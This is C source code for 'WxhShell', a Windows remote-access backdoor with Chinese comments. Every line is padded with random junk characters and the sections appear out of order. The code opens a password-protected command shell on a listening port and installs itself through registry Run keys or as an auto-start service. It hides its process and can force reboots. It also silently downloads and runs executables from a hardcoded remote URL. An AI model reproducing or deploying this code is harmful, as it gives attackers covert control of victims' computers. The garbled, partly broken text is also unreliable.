    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E>6zwp  
    if(Boot(SHUTDOWN)) 4 |5ekwk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kh,M'XbTo  
    else { w6 "LHy[  
    closesocket(wsh); W'0wTZG  
    ExitThread(0); Ol%*3To  
    } *j*jA/  
    break; q-8  GD7  
    } Y]gt86  
  // 获取shell 9wb$_j]F`#  
  case 's': { @g=A\2  
    CmdShell(wsh); ^3yjE/Wi"  
    closesocket(wsh); wA~Nfn ^  
    ExitThread(0); w\2[dd  
    break; r 2H'r ,N  
  } rP\ 7C+  
  // 退出  +NXj/  
  case 'x': { wFd*6%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -=sxbs.aA  
    CloseIt(wsh); *r% mqAx(  
    break; mmKrmM*1  
    } I] "$h]T  
  // 离开  7:p]~eM)  
  case 'q': { c,~44Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J/=A f [  
    closesocket(wsh); ]Ns&`Yn{  
    WSACleanup(); Vut.oB$ ~  
    exit(1); BA>0 +  
    break; Q)}\4&4  
        } n[WeN NU  
  } 0F~9t !  
  } m X1oRhf  
q}1$OsM  
  // 提示信息 6aK--k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P< &/$x6  
} %8{_;-f  
  } %5KR}NXX6  
^#Y6 E  
  return; M!jW=^\  
} &+^ # `nq  
qlxW@|  
// shell模块句柄 P3 Evv]sB@  
int CmdShell(SOCKET sock) Ni)#tz_9  
{ O``MUb b  
STARTUPINFO si; =!c+|X`  
ZeroMemory(&si,sizeof(si)); J-ZM1HoB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gdZVc9 _  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g`6wj|@ =W  
PROCESS_INFORMATION ProcessInfo; <Ztda !  
char cmdline[]="cmd"; eJA{]^Zf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .5ycO  
  return 0; *h%G4M  
} KN`z68c4L  
Q+Fw =Xw  
// 自身启动模式 ppD ~xg]  
int StartFromService(void) A X#!9-m3  
{ U`Ag|R  
typedef struct a?MtY EK2  
{ 2&d&$Jg  
  DWORD ExitStatus; W.R'2R#  
  DWORD PebBaseAddress; Rp|&1nS  
  DWORD AffinityMask; U;xWW9  
  DWORD BasePriority; &;skB.  
  ULONG UniqueProcessId; ^0 lPv!2  
  ULONG InheritedFromUniqueProcessId; 4|L@oTzx  
}   PROCESS_BASIC_INFORMATION; dtBV0$  
(KMobIP^  
PROCNTQSIP NtQueryInformationProcess; I7_D $a=  
\xZBu"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oQXkMKZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 16Y~5JAc  
 e C{Z  
  HANDLE             hProcess; JT9<kB/07  
  PROCESS_BASIC_INFORMATION pbi; *!/#39  
-]A#G`'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .%<&W1  
  if(NULL == hInst ) return 0; 4~Pto f@  
Ft rw3OxN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C941 @I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5gEfhZQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I}v#r8'!  
(R<4"QbE  
  if (!NtQueryInformationProcess) return 0; `4q}D-'TF8  
)It4al^\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <^_?hN8.  
  if(!hProcess) return 0; @]tGfr;le&  
15:@pq\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TjK5UML  
$I36>  
  CloseHandle(hProcess); yy1r,dw  
<3x#(ms!!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Lx{N%;t*E  
if(hProcess==NULL) return 0; z\Y^x 9  
F.5b|&@  
HMODULE hMod; hNo>)$v!s  
char procName[255]; IR8&4qOs  
unsigned long cbNeeded; mO> M=2A  
@<=#i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z=_{jjs  
PI \,`^)y  
  CloseHandle(hProcess); P/9J!.Cm  
L,pSdeq  
if(strstr(procName,"services")) return 1; // 以服务启动 <xjv7`G7  
xm0#4GFUS  
  return 0; // 注册表启动 {kH^OZ^(e  
} B[B<U~I}  
\=V[ba:q  
// 主模块 cgeS)C7  
int StartWxhshell(LPSTR lpCmdLine) mRY6[*u  
{ f{c[_OR  
  SOCKET wsl; kte.E%.PE  
BOOL val=TRUE; 7NC8<o;  
  int port=0; 3a}`xCO5  
  struct sockaddr_in door; mZVOf~9E  
KAcri<^G  
  if(wscfg.ws_autoins) Install(); 2rtP.*dd  
PjW+V`  
port=atoi(lpCmdLine); c\{}FGC  
C'2 =0oou  
if(port<=0) port=wscfg.ws_port; Pq>[q?>?  
I 47GQho  
  WSADATA data; g Pj0H&,.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hr6e1Er  
(zDk68=v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Su$1 t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [(F<|f:n  
  door.sin_family = AF_INET; dd7nO :]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F'$S!K58  
  door.sin_port = htons(port); $jh>zf  
O)JUY *&I5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EJ ~k Z3  
closesocket(wsl); Q9xx/tUW  
return 1; )$h9Y   
} XJ~l5} y ]  
nSQ}yqM)  
  if(listen(wsl,2) == INVALID_SOCKET) { lO:{tV  
closesocket(wsl); &N_c-@2O  
return 1; 7QiCZcb\  
} eu]iwOc&p  
  Wxhshell(wsl); ' VEr4&  
  WSACleanup(); kz;_f  
A=C3e4.C  
return 0; eoe^t:5&  
Qr%Jm{_o  
} >[fVl 8G_0  
G0 /vn9&  
// 以NT服务方式启动 HU[nN*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ou^nzm  
{ n_n|^4 w  
DWORD   status = 0; }R&5qpl  
  DWORD   specificError = 0xfffffff; %s@S|< W  
N[<`6dpE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #"8[8jyV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Te@6N\g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SslY]d]  
  serviceStatus.dwWin32ExitCode     = 0; 5Vo}G %g  
  serviceStatus.dwServiceSpecificExitCode = 0; ;;'a--'"  
  serviceStatus.dwCheckPoint       = 0; t?nc0;Q9,@  
  serviceStatus.dwWaitHint       = 0; G6 8Nv:  
_RL-6jw#o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _=*tDa  
  if (hServiceStatusHandle==0) return; iQ{&&>V%  
4G8nebv  
status = GetLastError(); ivX37,B\bS  
  if (status!=NO_ERROR) <j 9Mt=8M  
{ "x|NG,<[9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %L13Jsw  
    serviceStatus.dwCheckPoint       = 0; l \^nC2  
    serviceStatus.dwWaitHint       = 0; <VaMUm<2  
    serviceStatus.dwWin32ExitCode     = status; G(0y|Eq  
    serviceStatus.dwServiceSpecificExitCode = specificError; i`KZ,   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IbJ[Og^Qyu  
    return; aR)en{W  
  } u[i7:V%  
7ITl3>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1.0!H.>q  
  serviceStatus.dwCheckPoint       = 0; }S vw,c  
  serviceStatus.dwWaitHint       = 0; Dq zA U7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .?0>5-SfY  
} ljJz#+H2_  
/"Yx@n  
// 处理NT服务事件,比如:启动、停止 TA0D{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lg onR  
{ Rz zFhU#r  
switch(fdwControl) 9S1Ti6A  
{ SE^b0ZV*x  
case SERVICE_CONTROL_STOP: t+ S~u^  
  serviceStatus.dwWin32ExitCode = 0; Sq-3-w,R~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3IK(f .  
  serviceStatus.dwCheckPoint   = 0; %7]XW2u  
  serviceStatus.dwWaitHint     = 0; .b#9q6F-/  
  { Q-`{PJ(p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D!RE-w92X  
  } (}C^_q:7d  
  return; $,;S\JmWP  
case SERVICE_CONTROL_PAUSE: '>e79f-O)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %[n R|a<  
  break; zvGK6qCk  
case SERVICE_CONTROL_CONTINUE: TsX+. i'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <4Q12:  
  break; !b7'>b'J<1  
case SERVICE_CONTROL_INTERROGATE: dm2CA0   
  break; 3u4*ofjE5  
}; ~y)bYG!G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Pd|6  
} 9si}WqAw  
  ^RV  
// 标准应用程序主函数 _3.G\/>[K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p/hvQy E  
{ w<Yv`$-`  
CzSZ>E$%U  
// 获取操作系统版本 fK'.wX9  
OsIsNt=GetOsVer(); x[vBK8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~ThVap[*  
7?MB8tJ5r4  
  // 从命令行安装 zkh hN"bX  
  if(strpbrk(lpCmdLine,"iI")) Install(); sOl>5:D6  
|"R_-U  
  // 下载执行文件 3^\?>C7  
if(wscfg.ws_downexe) { Z cm<Fw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \L ]   
  WinExec(wscfg.ws_filenam,SW_HIDE); pgLtD};S  
} Har~MO?A  
m Ztv G,  
if(!OsIsNt) { KZF0rW  
// 如果时win9x,隐藏进程并且设置为注册表启动 =naR{pI  
HideProc(); VT% KN`l  
StartWxhshell(lpCmdLine); gMs+?SNHAh  
} i*S|qX7``  
else CGC-"A/W  
  if(StartFromService()) H|;*_  
  // 以服务方式启动 4mN].X[,  
  StartServiceCtrlDispatcher(DispatchTable); !/j,hO4Z4  
else w; 4jx(  
  // 普通方式启动 .hX0c"f]b  
  StartWxhshell(lpCmdLine); V uG?B{  
Tm)GC_  
return 0; OJP5k/U$  
} T- |9o|~z  
gB>imr#e&  
MzQ\rg_B7  
pb^,Qvnp   
=========================================== UvxSMD:A  
V1SqX:;b&  
N0Efw$u  
Vi|7%!j<  
HDmx@E.@  
M18qa,fK{  
" +Edzjf~Tt  
9u,8q:I.?  
#include <stdio.h> G'f9N^w  
#include <string.h> w 66 v\x~  
#include <windows.h> u8YB)kG  
#include <winsock2.h> 7tSJniB  
#include <winsvc.h> /O|:{LQ  
#include <urlmon.h> )Hbb&F  
~|r~NO 7[  
#pragma comment (lib, "Ws2_32.lib") mn]-rTr  
#pragma comment (lib, "urlmon.lib") Eh\ 1O(a(  
Al7<s  
#define MAX_USER   100 // 最大客户端连接数 B.$PhmCG  
#define BUF_SOCK   200 // sock buffer [o2w1R\H+x  
#define KEY_BUFF   255 // 输入 buffer "h=6Q+Ze  
UJz#QkAio  
#define REBOOT     0   // 重启 TE^7P0bh  
#define SHUTDOWN   1   // 关机 -2F@~m|  
d0(Cn}m"c  
#define DEF_PORT   5000 // 监听端口 mxQR4"]jY  
c $0_R;4/  
#define REG_LEN     16   // 注册表键长度 P+<BOG|m  
#define SVC_LEN     80   // NT服务名长度 ^P`NMSw  
t5.`! 3EO  
// 从dll定义API ~>V-*NT8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $<B +K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1O |V=K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5|ic3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8-7dokg>  
RMoJz6 ^>  
// wxhshell配置信息 y 'OlQ2U  
struct WSCFG { !;%y$$gxh  
  int ws_port;         // 监听端口 /XcDYMKgh  
  char ws_passstr[REG_LEN]; // 口令 dY}pN"  
  int ws_autoins;       // 安装标记, 1=yes 0=no zJ9v%.e  
  char ws_regname[REG_LEN]; // 注册表键名 dUS  ZNY  
  char ws_svcname[REG_LEN]; // 服务名 4j> fI)FUW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lT]=&m>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;U Yc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0n3D~Xzd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XCDSmZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9tn;L"#&N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /aZE,IeEz  
6*u,c^a  
}; !z"Nv1!~|  
`)32&\  
// default Wxhshell configuration BQ#3QL't  
struct WSCFG wscfg={DEF_PORT, 2i\Q@h  
    "xuhuanlingzhe", 17}$=#SX  
    1, l&Z Sm  
    "Wxhshell", =SAV|  
    "Wxhshell", @F>F#-2  
            "WxhShell Service", !@G)$g=<  
    "Wrsky Windows CmdShell Service", {`% hgR  
    "Please Input Your Password: ", 5IW8=$k~.)  
  1, *8bK')W  
  "http://www.wrsky.com/wxhshell.exe", .NJ|p=fy  
  "Wxhshell.exe" 9Bz0MUbrLl  
    }; @6 /yu>%  
xCWz\-;  
// 消息定义模块 %aU4,j^],o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xjo;kx\y^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -gS"pE^1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Nt]qVwUm'Y  
char *msg_ws_ext="\n\rExit."; #;[Bl=3(  
char *msg_ws_end="\n\rQuit."; q-nER<  
char *msg_ws_boot="\n\rReboot..."; G?`-]FMO  
char *msg_ws_poff="\n\rShutdown..."; ["y6b*;x  
char *msg_ws_down="\n\rSave to "; 9#7J:PfZ<  
zB*euHIqZ  
char *msg_ws_err="\n\rErr!"; W|MWXs5'1*  
char *msg_ws_ok="\n\rOK!"; hN   
BOvF)4`  
char ExeFile[MAX_PATH]; y ,E.SB  
int nUser = 0; 5t\HJ`C1Z  
HANDLE handles[MAX_USER]; u%u&F^y  
int OsIsNt; 1<.5ub*i4  
RRADg^}l|"  
SERVICE_STATUS       serviceStatus; TBCp L]QT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^~$\ g]  
^T6S()G  
// 函数声明 03=5Nof1  
int Install(void); ?]#OM_,8  
int Uninstall(void); 3J~0O2  
int DownloadFile(char *sURL, SOCKET wsh); W @.Ji B  
int Boot(int flag); 9sSN<7  
void HideProc(void); =su]w2,Iy  
int GetOsVer(void); <8!  Tq  
int Wxhshell(SOCKET wsl); $7Z)Yp&T  
void TalkWithClient(void *cs); ,zhJY ?sk  
int CmdShell(SOCKET sock); |a-fE]{7  
int StartFromService(void); 6)qp*P$L  
int StartWxhshell(LPSTR lpCmdLine); rh!;|xB|+  
7" 4z+w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HeLG?6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p@~ic#X  
irbw'^;y  
// 数据结构和表定义 R_ ZK0ar  
SERVICE_TABLE_ENTRY DispatchTable[] = O^Q ,-=tA\  
{ c6&Q^p|CF  
{wscfg.ws_svcname, NTServiceMain}, 0 Y>M=|  
{NULL, NULL} !E2W\chi  
}; ` qUX.  
o.m:3!RW  
// 自我安装 B(_WZa!  
int Install(void) k()$:-V  
{ r^0F"9eOL  
  char svExeFile[MAX_PATH]; +1rkq\{l  
  HKEY key; d%_OT0Ei  
  strcpy(svExeFile,ExeFile); s?2$ue&-f  
\?**2{9&)  
// 如果是win9x系统,修改注册表设为自启动 g^7MMlY%  
if(!OsIsNt) { o*5U:'=5}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `JB?c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q_V0+qH  
  RegCloseKey(key); PL X>-7@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,WD X(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nhT-Ido  
  RegCloseKey(key); H,QTYXi "  
  return 0; y7/F _{  
    } ;Hmp f0$  
  } L\%orLEmK  
} 0.Ta Xbi  
else { v6GPS1:a  
i#/]KsSp  
// 如果是NT以上系统,安装为系统服务 W3H+.E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HCWNo  
if (schSCManager!=0) Y}s@WJ  
{ S >yLqPp  
  SC_HANDLE schService = CreateService [sF(#Y:I  
  ( H[ m <RaG8  
  schSCManager, M|,mr~rRG  
  wscfg.ws_svcname, }}&#|)Yq  
  wscfg.ws_svcdisp, GZip\S4Y  
  SERVICE_ALL_ACCESS, A\fb<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v{aq`uH  
  SERVICE_AUTO_START, piy`zc- yu  
  SERVICE_ERROR_NORMAL, q%Yn;g|_  
  svExeFile, Djq!P  
  NULL, 3^?ZG^V  
  NULL, A9BX_9}]  
  NULL, ,m_WR7!$E  
  NULL, Lfog {Vzs  
  NULL #]P9b@@e  
  ); nUS| sh  
  if (schService!=0) !3X0FNGq  
  { y5r4+2B  
  CloseServiceHandle(schService); T 20&F  
  CloseServiceHandle(schSCManager); Fqy\CMC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t.p~\6Yi  
  strcat(svExeFile,wscfg.ws_svcname); 5 Xn.CBd]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8[vc?+>&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @$9'@")  
  RegCloseKey(key); M{g%cR0  
  return 0; */:uV B,b2  
    } `d7n?|pD  
  } Zf$Np50@(  
  CloseServiceHandle(schSCManager); $5x ,6[&  
} eI45PMP  
} '2^7-3_1  
>P6BW  
return 1; PHOP%hI $  
} N IdZ  
El\%E"Tk%  
// 自我卸载 =X\^J  
int Uninstall(void) &>d:R_Q]  
{ ApBWuXp|u  
  HKEY key; F8-?dpf'  
R^?/' dr  
if(!OsIsNt) { 2c6g>?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #Cpd9|  
  RegDeleteValue(key,wscfg.ws_regname); ?;[w" `"  
  RegCloseKey(key); wLc4Dm*V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W-NDBP:  
  RegDeleteValue(key,wscfg.ws_regname); Ym%xx!9  
  RegCloseKey(key); ls@i".[  
  return 0; h8Yx#4  
  } p sL?Y  
} #(An6itl  
} P3$Q&^?  
else { OnQdq^UB  
.7K7h^*F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x }Ad_#q  
if (schSCManager!=0) 'AN>`\mR$  
{ hn#1%p6t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q`-;AG|xF  
  if (schService!=0)  (x/k.&  
  { =UUU$hq2  
  if(DeleteService(schService)!=0) { , ]bB9tid  
  CloseServiceHandle(schService); |$?bc3  
  CloseServiceHandle(schSCManager); _ODbY;M  
  return 0; .o) `m9/  
  } C74a(Bk}H  
  CloseServiceHandle(schService); yw];P o,  
  } }zhGS!fO  
  CloseServiceHandle(schSCManager); wgCa58H76  
} M#(+c_(r  
} *G* k6.9W!  
8Z(Mvq]f&  
return 1; : q#Xq;Wp  
} 6I@h9uIsze  
n{6G"t:^l  
// 从指定url下载文件 !pD*p)`s  
int DownloadFile(char *sURL, SOCKET wsh) 0u\GO;  
{ y;s`P .  
  HRESULT hr; E? _Z`*h  
char seps[]= "/"; PLK3v4kVM!  
char *token; (J z1vEEV  
char *file; xlQBe-Wg  
char myURL[MAX_PATH]; 4$P0:  
char myFILE[MAX_PATH]; }GeSu|m(  
Y1]n^  
strcpy(myURL,sURL); rqY`8Ry2M  
  token=strtok(myURL,seps); =Xo =Qcr  
  while(token!=NULL) :Nz9xD$S5  
  { J+`VujWT  
    file=token; |`.([2  
  token=strtok(NULL,seps); HDF |{  
  } {{QELfH2  
O#F4WWF  
GetCurrentDirectory(MAX_PATH,myFILE); @3zg=?3  
strcat(myFILE, "\\"); !QvZ<5(  
strcat(myFILE, file); G K7![p  
  send(wsh,myFILE,strlen(myFILE),0); ? #fu.YE\  
send(wsh,"...",3,0); Q)IKOt;N]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :Of^xj>A  
  if(hr==S_OK) Evedc*z~P  
return 0; 97}OL`y  
else "'t0h{W r8  
return 1; .>WxDQIo  
C#Na&m  
} ; #&yn=^  
XT4{Pe7{[P  
// 系统电源模块 (L/_^!ZX  
int Boot(int flag) O6LS(5j2  
{ "hsb8-  
  HANDLE hToken; L U={")TdQ  
  TOKEN_PRIVILEGES tkp; ]"?)Z  
sVOyT*GY  
  if(OsIsNt) { |a Vn&qK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t+!$[K0/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hpD!2 K3>  
    tkp.PrivilegeCount = 1; 'h,VR=e<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NA~Vg8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tP$<UKtU  
if(flag==REBOOT) { R}!:'^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]GW]dM  
  return 0; dZ0A3(t  
} ,^\2P$rT  
else { Jcrw#l8|C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C$XU%5qi  
  return 0; PamO8^!G  
} 67Th;h*sh  
  } OWg(#pZk  
  else { QC}CRkp  
if(flag==REBOOT) { E? ; 0)'h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T7hcnF$  
  return 0; y.< m#Zzt  
} %`1q-,>v  
else { {+Rog/;S'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \D*KGd]M0  
  return 0; 62ws/8d6f  
} Yp^rR }N  
} k@k&}N0{  
`T5W}p[6  
return 1; ]1#e#M]#  
} Yfzl%wc  
Ju1D = b  
// win9x进程隐藏模块 lww!-(<ww  
void HideProc(void) Ng~FEl  
{ H[U!%Z  
3cK I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0tT(W^ho g  
  if ( hKernel != NULL ) :&V h?  
  { ?kbiMs1;u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #_^Lb]jkM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e#$]Y?,  
    FreeLibrary(hKernel); j i7[nY  
  } Lr~=^{  
(ROY?5 @c  
return; Y[}>CYO  
} wsI`fO^A8  
K;?m';z0  
// 获取操作系统版本 w"-Lc4t+  
int GetOsVer(void) /<|%yE&KhJ  
{ U`,6 * MS  
  OSVERSIONINFO winfo; "Q@ronP(~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -g*4(w  
  GetVersionEx(&winfo); ^:^9l1]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eg;~zv  
  return 1; Z`ID+  
  else 5B3G @KR  
  return 0; \fz<.l]  
} A$Hfr8w1u  
R{<kW9!  
// 客户端句柄模块 Q ayPo]O  
int Wxhshell(SOCKET wsl) )rn*iJ.e8  
{ OEA&~4&{7  
  SOCKET wsh; 'vbsvT  
  struct sockaddr_in client; }ppN k:B  
  DWORD myID; :L F?  
5\:^ y'g[  
  while(nUser<MAX_USER) -*Xa3/kQ  
{  *x@Onj  
  int nSize=sizeof(client); .WA-&b_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CQF:Rnb  
  if(wsh==INVALID_SOCKET) return 1; 8lvV4yb  
g+vva"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RO+GK`J  
if(handles[nUser]==0) Lo{ E:5q  
  closesocket(wsh); G|!Tj X7s  
else vlmB`T  
  nUser++; qouhuH_WtJ  
  } %Nlt H/I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0l)~i' '  
'3 /4?wi  
  return 0; vdivq^%=a  
} {6|38$Rl  
Y!-M_v/  
// 关闭 socket ype$ c  
void CloseIt(SOCKET wsh) `2("gUCm  
{ PUT=C1,OFR  
closesocket(wsh); #+ 0M2Sa  
nUser--; LM~[@_j  
ExitThread(0); _S<3\%(0  
} *+Ek0M  
,w<S|#W~+  
// 客户端请求句柄 md)c0Bg8~  
void TalkWithClient(void *cs) LG{,c.Qj*  
{ %9KldcQ}~  
N7b8m?!  
  SOCKET wsh=(SOCKET)cs; {f3YsM;]C  
  char pwd[SVC_LEN]; 3% #3iZ=_  
  char cmd[KEY_BUFF]; nv*FT  
char chr[1]; 5sj4;w[  
int i,j; 7zXvnxYE  
)WNzWUfn=z  
  while (nUser < MAX_USER) { 4Tb #fH%  
 HSjlD{R  
if(wscfg.ws_passstr) { 3`t#UY).F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kr gFKRgGj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hZ?Rof  
  //ZeroMemory(pwd,KEY_BUFF); W <9T0sZ  
      i=0; ,1~"eGl!  
  while(i<SVC_LEN) { \ub7`01  
% L$bf#  
  // 设置超时 {f/~1G[M  
  fd_set FdRead; k+# %DK  
  struct timeval TimeOut; _C%3h5  
  FD_ZERO(&FdRead); Ta ZmRL  
  FD_SET(wsh,&FdRead); !"?#6-,Xn  
  TimeOut.tv_sec=8; hgYZOwQ  
  TimeOut.tv_usec=0; 0fb2;&pUa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s Ep"D+f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R1adWBD>  
+ [iQLM?zo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 132{# tG]  
  pwd=chr[0]; }|0^EWL  
  if(chr[0]==0xd || chr[0]==0xa) { 2J7:\pR^  
  pwd=0; %aG5F}S2~  
  break; 9vuyv*-}e  
  } g/ T   
  i++; | k&Ck  
    } [L3=x;U  
hci6P>h<ia  
  // 如果是非法用户,关闭 socket ? &o2st  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pA'4|ffwe  
} zqimR#u  
b z`+k,*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B nFwlw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1{)5<!9!l  
K[I=6  
while(1) { d~9A+m3b_  
I&D5;8  
  ZeroMemory(cmd,KEY_BUFF); F+YZE[h%  
e(]!GA  
      // 自动支持客户端 telnet标准   ePOG}k($/%  
  j=0; ],@rS9K  
  while(j<KEY_BUFF) { ,Xu-@br{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xgwY@'GN  
  cmd[j]=chr[0]; b1(T4w6  
  if(chr[0]==0xa || chr[0]==0xd) { >!eAM )  
  cmd[j]=0; ,`'Qi%O  
  break; @6Y?\Wx$w  
  } {{$Nqn,pH  
  j++; %0S3V[4I  
    } 7x"R3  
+SP{hHa^  
  // 下载文件 nHM~  
  if(strstr(cmd,"http://")) { ]J1dtN=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VQc_|z_ s  
  if(DownloadFile(cmd,wsh)) b.2aHu( 3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "3X2VFwoJ  
  else VACQ+  
